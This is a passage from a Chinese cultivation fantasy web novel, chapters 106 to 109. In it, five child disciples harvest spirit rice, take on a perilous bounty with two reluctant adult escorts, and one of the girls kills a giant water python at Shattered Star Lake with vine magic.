江迷雾“铿”地祭出了凝霜剑,跃跃欲试:“我的剑最锋利!” 鹿闻声见状,立刻自封裁判,举起手:“预备——开始!” 顿时,田边出现了令人瞠目结舌的一幕: 萧星尘并指如刀,小手挥舞得呼呼生风,切割灵稻的速度竟然丝毫不比镰刀慢。 郁仙将灵力注入镰刀,动作熟练又麻利,一拢一拢的灵稻在她手下整齐地倒下。 最夸张的是江迷雾,小家伙一脸严肃,把凝霜剑当成了大号镰刀,剑气纵横,所过之处,灵稻成片倒下。 三道小小的、几乎要被金色稻浪淹没的身影,如同三台不知疲倦的迷你收割机,在田里疯狂推进,速度之快,令人咋舌。 村长站在田埂上,看得目瞪口呆,下巴都快掉到地上了。 他原本的怀疑和担忧早已被抛到九霄云外,此刻心里只剩下一阵阵的狂喜和难以置信。 这…这些小娃娃…是吃什么长大的?简直神了。 往年来他们清溪村做任务的炼气修士,可没有这么快。 苏渺渺在一旁开心地蹦蹦跳跳,拍着小手,奶声奶气地大喊:“大师兄加油!三师姐加油!四师兄加油!你们是最快的!” 随着她的祝福声响起,三人周身泛起微光,身上被叠加了一层无形的速度buff,收割的速度又快了几分,动作带起残影。 金色稻浪以肉眼可见的速度一片片倒下。 村长从震惊中回神,笑的见牙不见眼,开始心情愉悦的哼起歌谣:"仙路长,莫慌张,稚子手中镰,割了稻子来年长......" 第106章 高阶任务?我们玄天拆迁队接定了 金灿灿的灵田里,五个小小的身影成了最活跃的风景线。 苏渺渺无疑是全场最快乐的啦啦队员。 她扎着两个小揪揪,在田埂上蹦蹦跳跳,拍着小手,奶声奶气地轮流给师兄师姐们加油: “大师兄最快!唰唰唰!” “三师姐最棒!刷刷刷!” “四师兄加油!欻欻歘!” 她清脆甜美的声音如同带着神奇的魔力,随着每一次加油,萧星尘、郁仙和江迷雾身上那层无形的buff便闪耀一下,驱散着他们的疲惫,支撑着他们以近乎疯狂的速度向前推进,仿佛有使不完的劲儿。 当最后一片灵稻在郁仙熟练的镰刀下整齐倒下,整片田野变得开阔起来。 鹿闻声兴奋地跳了出来,小脸上洋溢着跃跃欲试的光芒:“该我啦!” 他小手潇洒地一扬,一簇炽热而灵动的火焰精准地落入田里。 火焰迅速蔓延开来,顷刻间形成一片热烈的火海。 令人惊叹的是,他对火焰的操控十分纯熟,火势虽旺,却如同被无形的围墙禁锢,只在田垄范围之内燃烧。 火焰将所有的秸秆杂草尽数吞噬,化为肥沃的灰烬,完美完成了烧荒肥田的最后一步。 村长脸上的皱纹都笑开了花,嘴巴咧得都快到耳根了。 往年就算请了炼气期的修士来帮忙,这么多田地最快也要忙活三天,没想到今年这五个小娃娃,一天就收割得干干净净,连最麻烦的烧荒都一步到位了。 他看着五个满头大汗、小脸沾着泥灰却如同小花猫一样洋溢着大大笑脸的娃娃们,激动得竖起大拇指,“小仙长们,你们年纪虽小,做事可真靠谱,太厉害了,真是英雄出少年啊!” 在村长一连串真诚又夸张的“彩虹屁”攻势下,小家伙们感觉所有的腰酸背痛都不翼而飞,心里甜滋滋的。 任务完成,他们速速回了散修联盟。 正在整理任务卷轴的薛老,看到他们这么快就回来了,花白的眉毛一挑,还以为这几个小家伙受不了农作的辛苦提前放弃了。 可当听到他们不仅完成了收割,还超额完成了烧荒时,老爷子惊得差点跳起来。 “什…什么?一天?你们五个娃娃就把清溪村那么大一片灵田都收割了?还烧了荒?” 他上下打量着这几个看起来粉雕玉琢的小不点,实在无法将他们和一天完成三天工作量的事情联系起来。 连续完成两个任务,五个小家伙充满了成就感。 他们兴冲冲地围在任务柜台前,叽叽喳喳地,吵着又要接新任务。 然而,薛老翻来找去,递过来的任务卷轴不是【寻找张大爷走丢的灵犬阿黄】,就是【帮李大婶捉回失踪的乌云踏雪猫】。 孩子们的小脸顿时垮了下来,就像被霜打的茄子。 萧星尘皱着小眉头,“薛爷爷,这些任务太简单了,我们要做有难度的。” “是啊是啊!我们要做大任务,师尊说了,出来的主要目的是历练,要是被师尊知道我们给人抓小猫找小狗,师尊肯定会对我们失望,我们不想师尊失望,我们要成为师尊的骄傲......” 孩子们立刻七嘴八舌的说了起来。 薛老哭笑不得,耐着性子解释:“适合你们练手的初级任务就这些,剩下的都是难度高、危险系数大的,真的不适合你们这些小娃娃。那些地方可都是龙潭虎穴,一不小心就会有生命危险。” 五个小家伙可不干,围着薛老软磨硬泡,抱着腿的,拽着衣角的,哼哼唧唧地耍赖。 薛老被缠得没办法,又见他们实在可爱,心一软,只好将旁边那一沓标注着高级难度的任务卷轴也摊开在他们面前:“喏,自己看吧,真没有适合你们的了,这些太危险都不是你们能碰的。” 说着,他就要把卷轴收起来。 突然,萧星尘锐利的目光捕捉到了其中一个卷轴,上面标注着【筑基期?五星难度】。 他眼睛一亮,小手指猛地戳了上去,兴奋地喊道:“薛爷爷!我们要做这个任务!” 薛老顺着他指的方向一看,脸色顿时变得无比严肃。 只见那卷轴上写着: 任务名称:【集四时之珍,聘倾城之人】 发布人:柳家少主·柳云宸 任务要求:于幽影森林深处寻找月影灵狐的尾绒;于碎星湖湖心采集百年份的星光贝珠;于葬魂峡谷寻得一枚魂婴果;于雪寂山巅摘取一株并蒂雪莲。 任务时限:半年。 任务奖励:一万块下品灵石。 薛老立刻把头摇得像拨浪鼓,语气坚决:“胡闹!这是筑基初期到金丹初期才能接的高难任务,看看这些地方,幽影森林妖兽横行,葬魂峡谷鬼气森森,雪寂山苦寒彻骨……哪个是善地? 时限又紧,奖励看着多,但付出的时间和风险远不止这个价。 这任务挂了半个月都没人敢接,你们几个娃娃去了不是送死吗?” 孩子们一听,非但不怕,反而眼睛里闪着兴奋的光。 这一定就是师尊说的历练。 他们又开始发挥熊孩子本质,一个个都快要挂到薛老身上了。 突然,一只修长的、拥有小麦肤色的手伸了过来,一把按住了那份卷轴。 “这个任务不是给你们玩闹的,别在这里添乱。”一个干练的声音响起。 孩子们回头,看到一个身材高挑健美的女子。 她穿着利落的紧身短打,勾勒出矫健的身姿,眼神锐利,透着一股常年在外的散修特有的干练和风霜。 萧星尘蹙起小眉头,警惕地看着她:“这位姐姐,你是要跟我们抢任务吗?” 女子俯视着这几个还没她腿高的小豆丁,气笑了:“抢?这任务老娘看上半个月了,只是在考虑接不接。” 江迷雾眨巴着清澈的大眼睛,语出惊人,“看上半个月都不接?姐姐,你是不是因为实力不够,所以才不敢接呀?” 女子被这句天真又扎心的大实话噎得脸色一红,有些恼羞成怒:“……小屁孩懂什么,反正我说你们做不了就是做不了,别为了点灵石把小小年纪搭进去了。” 说着,她就要拿过卷轴,“薛老,这任务我再考虑一下。” 她的修为已经到了筑基后期大圆满,结丹在即。 可是,一颗能提高结丹成功率的下品凝金丹需要五千下品灵石,对她而言是天文数字。 这一万块下品灵石的任务奖励很诱人,但任务难度极高,她和铁峰两人完成的风险极大,正在犹豫是否要再找个靠谱的临时队伍,故而拖延至今。 没想到拖着拖着,拖到被五个小不点抢先要接任务。 这几个小不点一看就是没经历过现实的残酷毒打,她既不希望自己看上的任务被人抢了,也不希望五条鲜活的生命就此断送,所以才...... 就在她即将把卷轴拿走的刹那,异变突生。 数根翠绿色的藤蔓毫无征兆地猛然窜出,如同灵蛇,瞬间将她紧紧缠绕住,让她一时动弹不得。 同时,另一根藤蔓“嗖”地一卷,精准地将任务卷轴从她手中夺过,稳稳地递到了郁仙摊开的小手中。 郁仙一张小脸阴沉得能滴出水来,此刻的她再也没了半分在云见月面前的娇软可爱。 她紧紧握着卷轴,冰冷的目光直视着被束缚的女子,声音里带着与她年龄极度不符的寒意:“即便你看上再久,你不接,它也不是你的。我们要接,那便是我们的。” 女子心中大骇,她堂堂筑基后期修士,竟被一个五六岁的女娃瞬间制住。 她下意识挣扎,却发现那看似脆弱的藤蔓,居然坚韧无比,其上蕴含的灵力竟精纯雄厚得远超她的想象,让她一时难以挣脱。 “阿妍!”一旁一个身材高大、肌肉虬结的汉子见同伴被袭,怒吼一声,猛地冲过来,蒲扇般的大手就向郁仙抓去。 “不准欺负我师妹!” 萧星尘反应极快,一个闪身就挡在郁仙身前,小手之上微光闪烁,星辰之力已然运转。 鹿闻声指尖“噗”地冒出一团炽热的火球,小脸紧绷,毫不退缩。 江迷雾也立刻祭出了凝霜剑,小表情严肃无比,剑尖直指来人。 苏渺渺虽然害怕,但也咬牙,装出一副“我很凶,你们别乱来”的小表情。 四个小家伙瞬间进入了战斗状态,身上腾起的气势竟让那冲过来的大汉下意识地顿了一下脚步。 不远处,云见月、虞青焰、苏心瑶和林思思目睹了这一幕。 苏心瑶心脏一紧,一把抓住云见月的胳膊:“孩子们有危险,你还在这看着?你要是不去,我去!” 林思思也满脸担忧,脚步不自觉地向前迈了一步。 云见月的目光始终落在孩子们虽稚嫩却写满坚毅的背影上。 “这是他们的历练,若事事需我等出手,他们何时才能真正长大?要试着相信他们。” 她的声音平静,却带着一种对弟子们绝对的信任。 苏心瑶知道云见月说的在理,她强迫自己冷静下来,继续看向散修联盟的方向。 只见那个大汉只是怔愣了一瞬,蒲扇般的大手就要再次落下。 第107章 再现枯荣之力,郁仙强大美丽不似凡人 就在这时—— “住手!散修联盟内不得闹事。” “铁峰住手!他们还只是孩子!” 薛老和那叫做“阿妍”的女子几乎同时喊道。 那名叫铁峰的汉子硬生生停下,看着郁仙,道:“可是阿妍,她先对你动手。” 墨妍叹了口气,无奈道:“算了,是我先心急态度不好,跟孩子们计较什么。小妹妹,你先放开我好不好?” 她看向郁仙,语气缓和下来。 郁仙抿了抿唇,大眼睛看了看师兄们,又看了看薛老,小手轻轻一挥,那坚韧的藤蔓立刻消失无踪。 薛老赶紧打圆场,对墨妍和铁峰说:“墨妍,铁峰,这几个孩子毕竟年纪小,而且,确实也不是他们的错......” 墨妍揉了揉被勒出红印的手腕。 她看向五个小家伙,眼神复杂,刚才那藤蔓的力量让她心有余悸。 从他们第一次踏入散修联盟,她就注意到了。 一开始,只是因为他们长得粉雕玉琢十分可爱,穿的也是价值不菲,一看就是被师尊娇养着的。 原以为他们是出来玩的,没想到果真完成了任务。 从那个绿衣服的小女娃出手那一刻,她便意识到,或许是她低估了他们的实力。 她想了想,语气带着商量的口吻道:“小弟弟小妹妹,这个任务真的很难,非常危险,一不小心就会丧命。你看这样行不行,这任务,我们一起接,一起做?相互有个照应,完成任务的机会也大些。奖励…我们可以按出力多少来分。” 五个小家伙对视一眼。 萧星尘像个小大人似的,清了清嗓子说道:“不行,我们玄天拆迁队的人数已经满了,我们好不容易才想出来的口号和队形不能变。我们可是要成为修仙界最厉害的队伍的!” 墨妍和铁峰闻言,一阵汗颜,心中暗自吐槽:就你们那个中二的口号,我们才不想加入呢。 墨妍努力保持微笑:“我们不需要加入你们的小队,只是临时合作。” “那就更不行了。”萧星尘逻辑清晰,“你们不跟我们是一个小队,为什么要跟我们一起?到时候听谁的?” 墨妍:“......”她一时竟被这孩子的道理噎住了。 “那……那要怎样你们才同意和我们一起做这个任务呢?” 五个小家伙立刻把小脑袋凑到一起,叽叽喳喳地商量起来,时不时还能听到“会不会拖我们后腿”、“会不会抢我们风头”、“但是好像挺抗打”之类的嘀咕。 过了一会儿,似乎商量出了结果,由萧星尘这个大师兄作为发言人,他双手背在身后,老气横秋地道:“你们真的想要加入我们……呃,参与我们的伟大任务?” 墨妍赶紧点头:“是的。” 铁峰是个急性子,已经开始不耐烦了,瓮声瓮气地道:“小鬼头,要如何才肯让你铁哥我加入,你给个痛快话!” 萧星尘小脸一扬,宣布了他们的决议:“我们玄天拆迁队你们肯定是加入不了了,我们是一个整体,谁都不能破坏。” 墨妍和铁峰内心:谢天谢地!我们真的没想加入,谢谢! 萧星尘接着道:“这样吧,你们不如做我们的……嗯……护卫,对!就叫玄天护卫队吧!专门负责给我们扛东西、探探路、负责我们的衣食住行,怎么样?这可是看你们比较诚恳的份上才给的机会哦!” 墨妍和铁峰又是一阵无语。 这哪是找护卫,分明是找两个免费保姆加保镖! 但也没有别的办法,为了那一千灵石和凝金丹,最终只能无奈地答应这个“憋屈”的要求。 “……好,玄天护卫队就玄天护卫队。”墨妍几乎是从牙缝里挤出这句话,感觉自己的修仙生涯迎来了一个无比诡异的转折。 萧星尘抬起手,结果发现自己够不着对方。 “蹲下。” 墨妍:“干嘛?” “叫你蹲下,你就蹲下。” 人不大,派头倒是不小,你让我蹲我就蹲? 墨妍翻了个白眼,默默......蹲下了。 萧星尘这下能够到了,拍了拍她的肩膀。 “你看起来比那个叫铁蛋的大个子聪明,那玄天护卫队的队长就由你临时担任吧。” 墨妍:“......” 铁峰咬牙切齿:“我叫铁峰,不叫铁蛋,你也可以叫我铁哥。” 萧星尘不高兴的抱胸,“我才不要叫你铁哥。” 呵呵!小不点,等你遇到危险,你迟早会叫的。 这一刻的铁峰绝对想不到,他没有等来萧星尘叫他铁哥,倒是等来了他自己主动叫萧星尘尘哥。 届时,他会亲眼见证尘哥的凶残,从此心甘情愿成为小小尘哥腿上的大大挂件。 将这一切尽收眼底的云见月,嘴角的笑意越来越浓,眼中满是欣慰和骄傲。 虞青焰摇着扇子,挑眉道:“哟,这小家伙,还会给自己招兵买马了。” 这样的发展超乎了苏心瑶和林思思的想象,两个人简直惊呆了。 夕阳将散修联盟的飞檐染成金色,云见月看着孩子们蹦跳着走出大门,带着新鲜出炉的玄天护卫队,朝着最近的碎星湖进发。 墨妍和铁峰原本已经做好了路上会被五个小娃娃各种“折腾”的心理准备。 比如喊累要休息、走路慢吞吞、或者对路边的一切都好奇得要停下来看看。 然而,实际情况却让他们大跌眼镜。 这五个小家伙精力充沛得吓人,脚不沾尘地在前方蹦跶,还不时催促他们两个走快点。 他们的脚步轻快,精神头比他们两位常年在外奔波的筑基修士还要饱满。 墨妍和铁峰相视一眼,都从对方眼里看到了惊讶。 墨妍目光在五个小家伙身上打转,终于按捺不住好奇心:“说起来,你们几个小娃娃,到底是从哪个宗门出来的?” 萧星尘一听,立刻一脸骄傲,活像只准备好展示自己漂亮尾羽的小孔雀。 “我们出自玄天宗!” 铁峰嗤笑一声,挠着脑袋嘟囔:“玄天宗?听都没听过,莫不是哪个山沟沟里的小门派?” 鹿闻声顿时炸了毛,踮着脚指着铁峰鼻子:“你懂什么!我们师尊可是玄天宗第六代掌门云见月,一下子就能把化神期和元婴期同时杀死的大人物。” 当初赤炎宗的长老带着一群人破开玄天宗宗门大阵,来找麻烦时,他们就被师尊秒杀的。 墨妍挑了挑眉,眼中满是怀疑:“这么厉害?” 郁仙轻轻揪了揪衣角,声音虽轻却透着自豪:“师尊能越级挑战,很厉害的。” “不止呢!”江迷雾突然凑上来,眼睛亮晶晶的,“师尊做饭才叫一绝,烤鸡香得能把十里外的妖兽都馋哭!” 苏渺渺晃着小肉手,奶声奶气地补充:“师尊还会给我们讲睡前故事,陪着我们一起看星星,比仙女还好看!” 铁峰听得直翻白眼,和墨妍对视一眼,两人心里都在嘀咕:这牛皮吹得也太离谱了。 墨妍嘴上却敷衍道:“好好好,等见着你们师尊,我可得讨教讨教。” 她怎么也想不到,日后自己会被这句话狠狠打脸。 届时,甚至觉得孩子们都是低调了说的。 一百多里路,风平浪静,并未遇到任何妖兽或麻烦,十分顺利地抵达了目的地——碎星湖。 当碎星湖映入眼帘时,所有人都被它的美丽震撼了。 湖水如巨型蓝绿宝石,湖底闪烁着万千银芒,像揉碎的星辰沉在水底,美得令人窒息。 “碎星湖”之名,恰如其分。 苏渺渺看得直转圈:“哇!湖里真的有星星!” 墨妍指着湖心:“百年星光贝在那里,得下水采。” 问题来了——谁下水? 五个小家伙你看看我,我看看你。 萧星尘:陆地战神,水下旱鸭。 鹿闻声:玩火一流,下水报废。 江迷雾:玩剑在行,水里帮不上忙。 郁仙:木灵根或许能与水草沟通?但深水潜泳显然不是她的强项。 苏渺渺:四岁奶娃,也没指望。 气氛一时陷入了僵局。 墨妍揉了揉额头,叹了口气:“果然,我就知道没有我们两个的加入不行。” 铁峰拍了拍胸膛,瓮声瓮气道:“小鬼头们,这么快就需要你铁哥我了吧?在岸上等着,看铁哥我给你们把珠子捞上来!” 两人麻利的下水了。 郁仙看着波光粼粼的湖面,沉思片刻,忽然开口:“或许……不一定需要下水。” 所有人都看向她。 只见郁仙走到湖边,伸出小手,轻轻按在湖岸湿润的泥土上。 闭眼时眉心浮现淡绿色光点——木灵根特有的沟通之能正在运转。 过了一会儿,她睁开眼睛,指向湖心方向:“我感觉到湖心有很多水草,非常茂盛,星光贝应该就在那里。” 萧星尘期待的问:“三师妹,你能操控水草,把星光贝送到岸边吗?” “我不确定,但我可以试试。” 说着,她深吸一口气,体内灵力猛然暴涨,不再是柔和的木系绿光,而是带着枯荣交替的诡异波动,一股远比之前尝试沟通时强大、深邃、带着古老轮回气息的力量自她体内缓缓苏醒、弥漫开来。 与此同时,她乌黑柔亮的发丝竟开始无风自动,发色在浓墨般的乌黑与银雪般的洁白之间流转、变幻不定,仿佛生死枯荣在一息间交替轮回。 她原本如琉璃般清澈的眸子,闪烁着奇异而冰冷的、如同亘古银月般的光晕,带着一丝非人的漠然。 “三师姐头发变色了!”苏渺渺指着郁仙,小脸上满是惊奇。 不仅是她,连第一次见到此种情况的萧星尘、鹿闻声和江迷雾都惊讶的睁大了双眼。 暗处的云见月四人,也是一惊,一瞬不瞬的看着郁仙。 这一幕,如梦似幻,诡异而壮丽。 此刻的郁仙不像凡人,更像是一个从古老森林里走出的、掌控着生命轮回的精灵,强大、神秘,又美丽得令人窒息。 一股强大而原始的枯荣之力以郁仙为中心扩散。 周围湖畔的所有植物,无论是青草、野花还是树木,都像是受到了至高无上的召唤一般,开始剧烈地、欢快地摇曳舞动,发出“沙沙”的声响,像是在回应它们君主的意志。 而远在湖心深处,那些茂密的水草更是如同被赋予了全新的生命与意识。 它们疯狂地生长、缠绕、汇聚,精准地找到一枚吸附着巨大百年星光贝的礁石。 几根最为粗壮的水草如同水蛇,灵活而有力地卷起那枚闭合的大贝壳,然后破开湖水,以一种不可思议的速度,拖着一条银亮的水线,飞速地游向岸边。 正在水下艰难搜寻的墨妍和铁峰,忽然感到周围的水草像是活了过来,不受控制地朝着一个方向涌动,两人心中同时一惊。 第108章 需要我们小孩子保护你们大人,羞不羞? “啪嗒!” 脸盆大的百年星光贝被水草送到了岸边浅水区。 孩子们欢呼着,七手八脚地将其打捞上岸。 “快打开看看。”江迷雾最是心急,抽出凝霜剑,将剑尖插入贝壳缝隙中,卯足了劲儿用力一撬。 蚌壳发出“吱呀”的抗议声,缓缓张开。 淡蓝色的光晕裹挟着珍珠的温润光泽倾泻而出,拳头大的珍珠躺在柔软的内壁上,表面流转的星辉如同银河,将五张小脸映得忽明忽暗。 “哇——”五个小家伙同时发出了响亮的惊叹,眼睛里熠熠生辉。 “好大!好圆!好亮!”苏渺渺大眼睛亮晶晶的,两只肉手托腮,下意识地喃喃道:“师尊戴上它,肯定比月宫里的仙子还好看!” 这句话瞬间说到了其他四人的心坎里,任务什么的立刻被抛到了九霄云外。 “对!送给师尊!”萧星尘用力点头,小脸上满是“师尊值得最好的”表情。 “给师尊做成项链肯定好看!”江迷雾已经开始想象师尊戴上后的绝美模样。 “师尊一定会喜欢的。”鹿闻声也轻声肯定,小脸上洋溢着与有荣焉的光彩。 苏渺渺奶声奶气道:“不知道湖里还有没有这么大的珍珠,好想多送几颗给师尊,摆放在师尊的房间,晚上不用点灯,房间也会亮亮的……” 孩子们的眼睛瞬间亮得惊人。 几乎没有任何犹豫,郁仙周身的枯荣之力再次暴涨,银色的光芒在她眼中流转。 她要将湖里所有最好、最漂亮的珍珠,都献给师尊。 湖心深处,刚刚平息下来的水草再次疯狂舞动起来。 它们如同最忠诚无畏的仆从,将星光贝缠绕、拉起。 一条条“水草蛇”拖着大大小小的贝壳,飞速游向岸边。 不一会儿,岸边的浅水区就堆起了小山,珠光宝气几乎要映亮这一小片湖岸。 孩子们开心坏了,围着贝壳山又蹦又跳,已经开始计划着怎么用这些珍珠把师尊打扮成世界上最美的仙子。 在他们心中,让师尊高兴,远比完成那个什么任务重要多了。 然而,他们这番近乎“洗劫”的行为,已经惊动了碎星湖底沉睡的霸主。 水下,墨妍和铁峰正准备浮上水面看看情况。 突然,他们脚下的湖底淤泥剧烈翻涌起来。 浑浊的泥浆瞬间呈爆炸式弥漫,原本清澈的湖水在呼吸间变得一片昏黄污浊,强大的水压混乱地撕扯,如同水底开了锅一般。 两人大惊失色,立刻将灵力运转到极致护住周身,惊骇地看向下方那一片翻腾的混沌。 只见那浓稠的浑浊中,一对灯笼大小的、闪烁着暴虐残忍凶光的黄色竖瞳猛然亮起。 接着,一个巨大无比、布满漆黑厚重鳞甲、狰狞可怖的蛇头猛地从淤泥中探出,张开血盆大口,露出如同匕首般森然的利齿,带着一股腥臭,以雷霆之势,直扑两人。 那妖兽散发出的恐怖威压,赫然达到了金丹初期。 “不好,是黑甲玄水蟒,快走!”墨妍吓得花容失色,声音都变了调,尖叫一声,和铁峰将吃奶的力气都用了出来,拼命向上游去。 金丹期的妖兽,远非他们两个筑基修士能敌。 可黑甲玄水蟒的速度太快了,眨眼间就出现在了他们身后。 墨妍运足了灵力打在它的鳞甲上,却只爆开一小团水花。 铁峰的斧头轰上去,更是如同挠痒痒,根本无法破防,反而更加激怒了这头水中凶兽。 巨蟒在水中疯狂翻搅,粗长的蛇身灵活得不可思议,追着两人撕咬,巨大的尾巴每一次扫动,都带起可怕的暗流和漩涡,几次都差点将两人卷入水底碾碎。 岸上,孩子们正开心地撬着贝壳,忽然看到原本平静美丽的湖心如同沸腾般剧烈翻滚起来,浑浊的湖水夹杂着激烈的气泡不断上涌,仿佛水下有巨怪在搏斗。 紧接着,“轰隆”一声巨响,一个巨大无比、覆盖着漆黑鳞甲的蛇头猛地破开水面,带起漫天水花。 它露在水面的部分就有二三十米长,犹如一截黑色的城墙,黄色的竖瞳残忍而冰冷,死死锁定了岸边的“小不点”们,发出令人头皮发麻的嘶鸣。 “小鬼头,快跑!!!”铁峰在拼命躲闪的间隙,还不忘朝着水面嘶声大吼预警。 孩子们小脸瞬间煞白,那金丹期的威压让他们本能地感到一阵心悸。 苏渺渺“呀”了一声,小手紧紧抓住了萧星尘的衣角。 萧星尘也被这突发情况吓了一跳,但也只是一瞬,他很快就淡定了下来。 皱起了小眉头,盯着水里的黑甲玄水蟒,幽幽道:“同样都是蛇,为啥青璃姐姐那么漂亮,水里那个就那么丑?” 这股威压,似乎还不如青璃姐姐平时逗他们玩时泄露的一丝气息吓人。 鹿闻声:“嗯,不仅丑,看起来还臭臭的。” 江迷雾:“它好像要吃了我们耶?” 苏渺渺:“师兄,我们是不是应该先害怕?” 郁仙一步踏前,将师兄师妹们护在身后。 “别怕,我来解决它。” 郁仙银色的瞳孔冷漠地看向那巨大的黑甲玄水蟒,小小的身躯里爆发出令人心悸的气息,声音冰冷而不容置疑,仿佛带着天地法则的裁决之力: “滚回去!” 黑甲玄水蟒非但不退,反而发出一声更加暴戾狂怒的嘶吼,巨大的蛇尾猛地抬起,卷起排山倒海般的滔天巨浪,朝着岸边的郁仙狠狠拍下。 “三师妹小心!” “三师姐小心!” 郁仙看着那毁天灭地般拍来的巨浪和狰狞的蛇影,眼中最后一丝属于孩童的波动彻底消失,只剩下冰冷的杀意。 “既然你一心求死,那我便成全你。” 她小小的身体缓缓悬浮而起,周身枯荣之力以前所未有的强度彻底爆发。 她黑白交替的头发在这一刻彻底化为了妖异而尊贵的银白,瞳孔也彻底变成了亘古银月般的银瞳,整个人气质大变,仿佛降临人间的精灵,强大而漠视众生。 周围的树木花草疯狂地摇曳,枝叶几乎要断裂,仿佛在跪拜,又像是在激动地迎接它们君主的彻底苏醒。 那排山倒海的巨浪,在靠近郁仙周身一丈范围时,竟被她散发出的无形气墙直接碾碎、轰然倒卷回去! 同时。 无数根翠绿欲滴却蕴含着恐怖枯荣轮回力量的青藤,从水里凭空显现,精准而狠戾地缠绕上黑甲玄水蟒巨大的身躯,将它从头到尾死死捆缚,任其如何疯狂挣扎、嘶吼扭动,都如同被巨山镇压,难以动弹分毫。 巨蟒被勒得发出痛苦而不甘的嘶鸣。 郁仙悬浮在半空,一身翠绿的衣裙无风自动,银瞳无情地俯视着这头挣扎的困兽。 下一刻,她小手轻挥间,更多的青藤,如同万箭齐发,从四面八方、天上地下激射而出,毫无阻碍地穿透了黑甲玄水蟒那堪比精金的坚硬鳞甲。 “噗嗤!噗嗤!噗嗤!” 利刃撕裂血肉、粉碎骨骼的声音密集地响起,令人胆寒。 那不可一世的金丹期妖兽,甚至连最后的哀嚎都没能完整发出,巨大的身躯被无数青藤洞穿,变成了一个巨大的绿色“刺猬”。 猩红的血水将湖面染成修罗场。 庞大的蛇尸轰然砸落水中,激起冲天血浪。 而半空中的郁仙,也在这一刻耗尽了所有力量,周身光芒瞬间黯淡,银发银瞳迅速褪回黑发黑瞳,小小的身体失去了所有支撑,直直地从空中坠落。 萧星尘反应极快,猛地冲上前,一把将坠落的郁仙紧紧抱在怀里。 鹿闻声、江迷雾和苏渺渺立刻围了上来,小脸上满是担忧,等意识到郁仙没事,担忧就被浓浓的崇拜和骄傲取代。 “三师妹,你好厉害。” “三师姐,你刚才太帅了。” “嗯嗯嗯,像天神下凡一样。” 这时,墨妍和铁峰才惊魂未定、连滚带爬地从那变得猩红粘稠的湖水里挣扎上岸。 两人浑身湿透,狼狈不堪地瘫在地上大口喘息,脸上还带着劫后余生的极致恐惧和难以置信。 过了好一会儿,他们才稍微从那种死亡的后怕中缓过神来。 看着那漂浮在湖面上、死状凄惨的巨大蛇尸,又看向被萧星尘抱在怀里虚脱的郁仙,最后目光呆滞地对视。 两人的眼中,再也没有之前的无奈和轻视,只剩下无与伦比的震惊。 墨妍的声音带着无法抑制的颤抖,对郁仙道:“你……你刚才那力量……究竟是什么?” 郁仙虚弱地掀开眼皮,“木灵根啊。” “这...这是木灵根?怎么可能?!” 墨妍和铁峰几乎同时失声惊呼,声音都变了调。 他们可从来都没见过、甚至没听说过会变发色瞳色、还能轻易越级秒杀金丹期妖兽的木灵根。 这简直颠覆了他们的认知。 连他们两个筑基后期联手都只有逃命的份,一个六岁的小丫头居然杀了金丹妖兽? 这说出去,恐怕都没人信。 郁仙微微蹙眉,似乎不理解他们为何如此大惊小怪。 她带着孩童的天真和一丝被质疑的不悦:“有什么不可能的?我就是木灵根啊。难道别人的木灵根不是这样的吗?那肯定是因为他们的师尊没有倾囊相授。” 在她纯真的认知里,所有的木灵根都是这样的,完全没有意识到,其实是她自己吃了枯荣轮回菇之后,灵根变异了。 墨妍和铁峰听了这话,瞳孔骤缩,突然有一种自己是不是真的见识短浅的感觉。 看郁仙那毫不作伪的小模样,这小丫头是真的以为所有木灵根都像她一样逆天。 这一刻,他们对那个素未谋面的“玄天宗掌门云见月”的好奇,攀升到了顶点。 到底是怎样的师尊,才能交出如此逆天的徒弟? 两人的目光无意中扫到了旁边堆积如山的星光贝,再次大吃一惊。 “这些……这些都是你们弄上来的?”墨妍的声音还有些发飘。 苏渺渺点点小脑袋,“是呀,全都是我三师姐控制水草送上来的呀!” 她说着,还好奇地歪头看着两人,奶声奶气道:“你们下去这么长时间,难道没有打捞上来一个吗?” 墨妍和铁峰:“......” 他们光顾着逃命了,哪里还顾得上捞贝壳。 江迷雾见状,叉着小腰,气鼓鼓地像只小河豚:“哼!下水前还说让我们看你们的呢,结果你们居然是空着手上来的。” “......”两人脸上一阵发热。 鹿闻声也抱着胳膊,小大人似的摇头:“还说什么这个任务太危险,非要和我们一起做,死乞白赖非要当我们的护卫。结果遇到危险,就需要我们小孩子保护你们大人,唉!” 小家伙们立刻点头如捣蒜,异口同声地嫌弃道:“就是就是!要小孩子保护,你们害不害臊呀?” 看着五个小家伙气鼓鼓、满是抱怨的小模样,墨妍和铁峰只觉得无地自容,脸红得快要滴出血来,张了张嘴,却一个字都无法反驳。 事实胜于雄辩,他们确实被几个娃娃救了。 第109章 极品丹很稀有吗?我们当零嘴吃,都吃腻了 墨妍艰难地找回自己的声音,指着那贝壳山:“可……你们弄上来这么多做什么?” 这才多大一小会儿,这效率也太恐怖了吧? 萧星尘一副“这还用问”的表情,“当然是把最好最漂亮的都挑出来送给师尊喽!反正任务卷轴上只说要‘百年星光贝珠’,又没规定大小、好坏和数量,我们拿一个最小、最丑的交差,最好的全部留给师尊,嘻嘻。” 他的小算盘打得噼啪响。 墨妍和铁峰第三次无语凝噎。 这几个小家伙,对她们的师尊简直是宠到没边了。 做她们的师尊,未免太幸福了吧?! 墨妍看向脸色苍白的郁仙,抿了抿唇,虽然不舍,但还是从贴身的储物袋里小心翼翼地掏出了一个小玉瓶,倒出一颗色泽普通的丹药,递过去:“看样子是耗光了灵力,这是下品补灵丹,你服下能恢复两成灵力。” 她一个散修,资源匮乏,这颗下品丹她珍藏了半年都没舍得用。 哎!看在小不点救了他们一命的份上,便宜她了。 郁仙看了一眼那丹药,小鼻子微微皱起,嫌弃地扭开头:“下品补灵丹?杂质这么多,我才不要吃。” 铁峰顿时不高兴了:“嘿!你这小丫头,有的吃就不错了,你还挑三拣四,你知道丹药多贵吗?就这一颗下品补灵丹,就要三十块下品灵石,阿妍自己都舍不得吃,给你,你还嫌弃上了。” 郁仙却撇撇嘴,实话实说:“本来就不好嘛。我们在宗门的时候,都是拿上品丹当糖豆吃的。” 墨妍和铁峰对视一眼,觉得这孩子可能是刚才灵力消耗太大,把脑子伤到了,开始说胡话了。 上品丹当糖豆吃? 就算是修真界第一大宗门青云剑宗的亲传弟子,也不敢吹这种牛啊。 也就是看她是小孩子,他们才懒得计较,若是成年人,早就嗤之以鼻了。 然而,下一秒,他们就看到郁仙慢悠悠地从自己精致的小储物袋里掏出一个白玉瓷瓶。 她拔开塞子,随意地倒出了一颗圆润无比、丹纹清晰、散发着沁人心脾药香和浓郁灵气的丹药。 